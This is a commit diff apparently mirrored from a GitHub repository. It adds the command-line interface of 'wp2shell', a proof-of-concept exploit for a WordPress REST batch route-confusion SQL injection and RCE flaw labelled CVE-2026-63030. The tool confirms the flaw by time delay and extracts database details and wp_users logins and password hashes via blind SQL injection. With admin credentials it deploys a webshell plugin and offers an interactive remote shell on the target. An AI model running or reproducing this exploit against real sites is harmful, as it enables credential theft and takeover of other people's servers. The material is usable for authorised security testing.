mirror of
https://github.com/Icex0/wp2shell-poc
synced 2026-07-18 19:05:08 +00:00
init
This commit is contained in:
+264
@@ -0,0 +1,264 @@
|
||||
"""Command-line interface."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import shlex
|
||||
import sys
|
||||
from typing import Optional
|
||||
|
||||
from . import __version__
|
||||
from .client import BatchClient
|
||||
from .shell import AdminSession
|
||||
from .sqli import BlindSQLi
|
||||
|
||||
try:
|
||||
import readline # noqa: F401 - enables line editing/history for the interactive prompt
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
_TTY = sys.stdout.isatty()
|
||||
|
||||
|
||||
def _paint(code: str, text: str) -> str:
|
||||
return f"\033[{code}m{text}\033[0m" if _TTY else text
|
||||
|
||||
|
||||
def info(msg: str) -> None:
|
||||
print(f"[*] {msg}")
|
||||
|
||||
|
||||
def good(msg: str) -> None:
|
||||
print(_paint("32", f"[+] {msg}"))
|
||||
|
||||
|
||||
def bad(msg: str) -> None:
|
||||
print(_paint("31", f"[-] {msg}"))
|
||||
|
||||
|
||||
def warn(msg: str) -> None:
|
||||
print(_paint("33", f"[!] {msg}"))
|
||||
|
||||
|
||||
def _progress(text: str) -> None:
|
||||
# Single updating line on a terminal; suppressed when output is piped or redirected.
|
||||
if _TTY:
|
||||
sys.stdout.write("\r\033[K " + text)
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def _clear_progress() -> None:
|
||||
if _TTY:
|
||||
sys.stdout.write("\r\033[K")
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def _client(args: argparse.Namespace) -> BatchClient:
|
||||
return BatchClient(
|
||||
args.url,
|
||||
timeout=args.timeout,
|
||||
rest_route=args.rest_route,
|
||||
proxy=args.proxy,
|
||||
)
|
||||
|
||||
|
||||
# -- commands ---------------------------------------------------------------
|
||||
|
||||
|
||||
def cmd_check(args: argparse.Namespace) -> int:
|
||||
# The confirmation request sleeps for --sleep, so the timeout must exceed it.
|
||||
client = BatchClient(
|
||||
args.url,
|
||||
timeout=max(args.timeout, args.sleep + 10),
|
||||
rest_route=args.rest_route,
|
||||
proxy=args.proxy,
|
||||
)
|
||||
probe = client.probe()
|
||||
if probe.status != 207:
|
||||
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
|
||||
return 1
|
||||
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
|
||||
|
||||
confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
|
||||
if confirmed:
|
||||
good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||
return 0
|
||||
bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
|
||||
return 2
|
||||
|
||||
|
||||
def cmd_read(args: argparse.Namespace) -> int:
|
||||
client = _client(args)
|
||||
sqli = BlindSQLi(client)
|
||||
|
||||
if args.query:
|
||||
info(f"Reading: {args.query}")
|
||||
value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
|
||||
_clear_progress()
|
||||
good(f"Result: {value}")
|
||||
elif args.preset == "fingerprint":
|
||||
for label, expr in (
|
||||
("MySQL version", "SELECT @@version"),
|
||||
("Database user", "SELECT CURRENT_USER()"),
|
||||
("Database name", "SELECT DATABASE()"),
|
||||
):
|
||||
good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
|
||||
elif args.preset == "users":
|
||||
table = f"{args.prefix}users"
|
||||
total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
|
||||
info(f"{total} user(s) in {table}.")
|
||||
for offset in range(total):
|
||||
row = sqli.extract(
|
||||
f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
|
||||
f"FROM {table} ORDER BY ID LIMIT {offset},1",
|
||||
max_length=args.max_length,
|
||||
on_char=_progress,
|
||||
)
|
||||
_clear_progress()
|
||||
good(row)
|
||||
|
||||
info(f"{sqli.requests} request(s) sent.")
|
||||
return 0
|
||||
|
||||
|
||||
_CWD_MARK = "__wp2shellcwd__" # shell-metacharacter-free so it survives the remote shell
|
||||
|
||||
|
||||
def _repl(session: AdminSession, path: str) -> None:
|
||||
"""A minimal interactive prompt piping each line through the webshell.
|
||||
|
||||
Commands are stateless server-side, so the working directory is tracked client-side and
|
||||
re-applied to each command (which makes `cd` behave as expected).
|
||||
"""
|
||||
pwd = session.run(path, "pwd")
|
||||
if pwd is None:
|
||||
bad("webshell not responding; aborting interactive mode.")
|
||||
return
|
||||
cwd = pwd.strip() or "/"
|
||||
info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.")
|
||||
while True:
|
||||
try:
|
||||
line = input(_paint("36", f"{cwd} $ "))
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print()
|
||||
return
|
||||
command = line.strip()
|
||||
if not command:
|
||||
continue
|
||||
if command in ("exit", "quit"):
|
||||
return
|
||||
out = session.run(
|
||||
path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\""
|
||||
)
|
||||
if out is None:
|
||||
bad("no response from webshell")
|
||||
continue
|
||||
body, marker, tail = out.rpartition(_CWD_MARK)
|
||||
if marker:
|
||||
cwd = tail.strip() or cwd
|
||||
out = body
|
||||
out = out.rstrip("\n")
|
||||
if out:
|
||||
print(out)
|
||||
|
||||
|
||||
def cmd_shell(args: argparse.Namespace) -> int:
|
||||
if not args.cmd and not args.interactive:
|
||||
bad("specify --cmd or --interactive")
|
||||
return 2
|
||||
|
||||
warn("This uploads a plugin containing a webshell to the target.")
|
||||
session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)
|
||||
|
||||
info(f"Authenticating as {args.user!r}...")
|
||||
if not session.login(args.user, args.password):
|
||||
bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
|
||||
return 1
|
||||
good("Authenticated.")
|
||||
|
||||
info("Deploying webshell plugin...")
|
||||
path = session.deploy_webshell()
|
||||
good(f"Webshell: {args.url.rstrip('/')}{path}")
|
||||
|
||||
rc = 0
|
||||
if args.cmd:
|
||||
output = session.run(path, args.cmd)
|
||||
if output is None:
|
||||
bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.")
|
||||
rc = 1
|
||||
else:
|
||||
print()
|
||||
print(output.rstrip("\n"))
|
||||
print()
|
||||
|
||||
if args.interactive:
|
||||
_repl(session, path)
|
||||
|
||||
if not args.keep:
|
||||
warn(f"Remove the webshell when finished (delete {path} on the target).")
|
||||
return rc
|
||||
|
||||
|
||||
# -- parser -----------------------------------------------------------------
|
||||
|
||||
|
||||
def _add_common(parser: argparse.ArgumentParser) -> None:
|
||||
parser.add_argument("url", help="target base URL, e.g. http://target")
|
||||
parser.add_argument(
|
||||
"--rest-route",
|
||||
action="store_true",
|
||||
help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1",
|
||||
)
|
||||
parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
|
||||
parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
|
||||
|
||||
|
||||
def build_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(
|
||||
prog="wp2shell",
|
||||
description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
|
||||
)
|
||||
parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
|
||||
sub = parser.add_subparsers(dest="command", required=True)
|
||||
|
||||
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
|
||||
_add_common(check)
|
||||
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
|
||||
check.set_defaults(func=cmd_check)
|
||||
|
||||
read = sub.add_parser("read", help="read from the database via blind SQL injection")
|
||||
_add_common(read)
|
||||
group = read.add_mutually_exclusive_group()
|
||||
group.add_argument(
|
||||
"--preset",
|
||||
choices=("fingerprint", "users"),
|
||||
default="fingerprint",
|
||||
help="fingerprint (version/user/db) or users (logins and password hashes)",
|
||||
)
|
||||
group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
|
||||
read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
|
||||
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
|
||||
read.set_defaults(func=cmd_read)
|
||||
|
||||
shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
|
||||
_add_common(shell)
|
||||
shell.add_argument("--user", required=True, help="admin username")
|
||||
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
|
||||
shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
|
||||
shell.add_argument("-i", "--interactive", action="store_true",
|
||||
help="open an interactive shell after deploying")
|
||||
shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
|
||||
shell.set_defaults(func=cmd_shell)
|
||||
|
||||
return parser
|
||||
|
||||
|
||||
def main(argv: Optional[list] = None) -> int:
|
||||
args = build_parser().parse_args(argv)
|
||||
try:
|
||||
return args.func(args)
|
||||
except KeyboardInterrupt:
|
||||
return 130
|
||||
except Exception as exc: # noqa: BLE001 - surface a clean message, not a traceback
|
||||
bad(str(exc))
|
||||
return 1
|
||||
Reference in New Issue
Block a user